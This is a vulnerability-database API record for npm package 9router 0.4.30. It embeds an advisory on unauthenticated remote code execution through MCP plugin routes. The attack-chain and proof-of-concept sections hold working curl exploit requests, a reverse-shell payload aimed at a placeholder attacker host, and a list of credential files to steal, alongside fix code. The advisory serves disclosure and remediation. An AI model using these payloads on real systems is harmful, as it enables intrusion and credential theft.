{"url":"http://public2.vulnerablecode.io/api/packages/515280?format=json","purl":"pkg:npm/9router@0.4.30","type":"npm","namespace":"","name":"9router","version":"0.4.30","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"0.4.37","latest_non_vulnerable_version":"0.4.37","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/93677?format=json","vulnerability_id":"VCID-1j59-fvub-1ye7","summary":"9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes\n## Summary\n\n9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**.\n\nThe vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**.\n\n---\n\n## Root Cause\n\n### 1. Middleware Allowlist Is Too Narrow\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n  ],\n};\n```\n\nNext.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely.\n\n### 2. Unguarded Endpoint Accepts Arbitrary Command Registration\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319\n\n```js\nexport async function POST(request) {\n  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();\n  // ...\n  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];\n\n  if (customPluginsArray.length > 0) {\n    const { registerCustomPlugin } = require(\"@/lib/mcp/stdioSseBridge\");\n    const stdioCustoms = customPluginsArray\n      .filter((p) => p.command)\n      .map((p) => ({\n        name: p.name,\n        command: p.command,   // ← attacker-controlled, no validation\n        args: p.args || [],   // ← attacker-controlled, no validation\n      }));\n    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis\n  }\n}\n```\n\nThe `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement.\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116\n\n```js\nfunction registerCustomPlugin(def) {\n  getCustomStore().set(def.name, def);   // no validation of command/args\n}\n```\n\n### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command\n\n**File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25\n\n```js\nexport async function GET(request, { params }) {\n  const { plugin } = await params;\n  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });\n\n  const stream = new ReadableStream({\n    start(controller) {\n      sid = registerSession(plugin, send);   // ← spawn() called here\n    },\n  });\n  return new Response(stream, { ... });\n}\n```\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, line 138\n\n```js\nconst proc = spawn(plugin.command, plugin.args, {\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  env: process.env,   // inherits full environment\n});\n```\n\n`spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution.\n\n---\n\n## Attack Chain\n\n```\nAttacker (no credentials)\n    │\n    │  Step 1 — Register malicious plugin (POST, no auth)\n    ▼\nPOST /api/cli-tools/cowork-settings\nContent-Type: application/json\n\n{\n  \"baseUrl\": \"x\", \"apiKey\": \"x\", \"models\": [\"x\"],\n  \"customPlugins\": [{\n    \"name\":    \"rev\",\n    \"command\": \"/bin/bash\",\n    \"args\":    [\"-c\", \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"]\n  }]\n}\n\n    ← {\"success\":true, ...}\n\n    │  Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)\n    ▼\nGET /api/mcp/rev/sse\n\n    ← SSE stream opens → spawn(\"/bin/bash\", [\"-c\", \"bash -i >& /dev/tcp/...\"])\n    ← Reverse shell connects to attacker\n```\n\n**Time to exploit from first request:** < 2 seconds.  \n**Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`).\n\n---\n\n## Proof of Concept\n\n### PoC 1 — File Write (no listener required)\n\n```bash\n# Step 1: Register payload\ncurl -X POST \"http://TARGET:20128/api/cli-tools/cowork-settings\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"baseUrl\":\"x\",\"apiKey\":\"x\",\"models\":[\"x\"],\n    \"customPlugins\":[{\n      \"name\":\"rce1\",\n      \"command\":\"/bin/sh\",\n      \"args\":[\"-c\",\"{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt\"]\n    }]\n  }'\n# → {\"success\":true,...}\n\n# Step 2: Trigger\ncurl -N --max-time 3 \"http://TARGET:20128/api/mcp/rce1/sse\" >/dev/null 2>&1\n\n# Verify\ncat /tmp/pwned.txt\n```\n\n**Observed output (on local test instance):**\n```\nuid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)\nsondt23\nVSOC-sondt23-L\nLinux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux\n```\n\n### PoC 2 — Automated PoC script\n\n```bash\n# File write mode (for report)\npython3 poc.py --target http://TARGET:20128 --mode file\n\n# Reverse shell mode (interactive)\npython3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444\n```\n\nThe script (`poc.py`) is included in this advisory.\n\n---\n\n## Impact\n\n| Category | Detail |\n|---|---|\n| **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials |\n| **Integrity** | Arbitrary file write, persistence via cron/systemd |\n| **Availability** | Process termination, resource exhaustion |\n| **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root |\n| **Scope** | Remote, unauthenticated, network-accessible |\n\n### High-value exfiltration targets on a typical 9router host\n\n- `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN`\n- `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys\n- `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs)\n- TLS private keys managed by the MITM proxy (`src/mitm/`)\n\n---\n\n## Affected Versions\n\n| Version | Affected | Notes |\n|---|---|---|\n| < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist |\n| v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) |\n| v0.4.31 | **Yes** | |\n| v0.4.32 | **Yes** | |\n| v0.4.33 | **Yes** | Latest at time of disclosure |\n\nThe vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.\n\n---\n\n## Remediation\n\n### Fix 1 — Extend middleware matcher (minimal fix)\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n    // ADD these:\n    \"/api/cli-tools/:path*\",\n    \"/api/mcp/:path*\",\n  ],\n};\n```\n\n### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth)\n\n**File:** `src/lib/mcp/stdioSseBridge.js`\n\n```js\nconst ALLOWED_MCP_COMMANDS = new Set([\"npx\", \"node\", \"uvx\", \"python3\", \"python\"]);\n\nfunction registerCustomPlugin(def) {\n  const bin = def.command?.split(\"/\").pop();   // basename only\n  if (!ALLOWED_MCP_COMMANDS.has(bin)) {\n    throw new Error(`Blocked: command '${def.command}' not in allowlist`);\n  }\n  getCustomStore().set(def.name, def);\n}\n```\n\n### Fix 3 — Sanitize `customPlugins` at the API boundary\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312\n\n```js\nconst stdioCustoms = customPluginsArray\n  .filter((p) => p.command && typeof p.command === \"string\")\n  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check\n  .map((p) => ({\n    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, \"\"),           // sanitize name\n    command: p.command,\n    args: (p.args || []).map(String),\n  }));\n```\n\n**All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.\n\n---","references":[{"reference_url":"https://github.com/decolua/9router","reference_id":"","reference_type":"","scores":[{"value":"10.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/decolua/9router"},{"reference_url":"https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj","reference_id":"","reference_type":"","scores":[{"value":"10.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj"},{"reference_url":"https://github.com/advisories/GHSA-fhh6-4qxv-rpqj","reference_id":"GHSA-fhh6-4qxv-rpqj","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-fhh6-4qxv-rpqj"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/117006?format=json","purl":"pkg:npm/9router@0.4.37","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/9router@0.4.37"}],"aliases":["CVE-2026-46339","GHSA-fhh6-4qxv-rpqj"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-1j59-fvub-1ye7"}],"fixing_vulnerabilities":[],"risk_score":"4.5","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/9router@0.4.30"}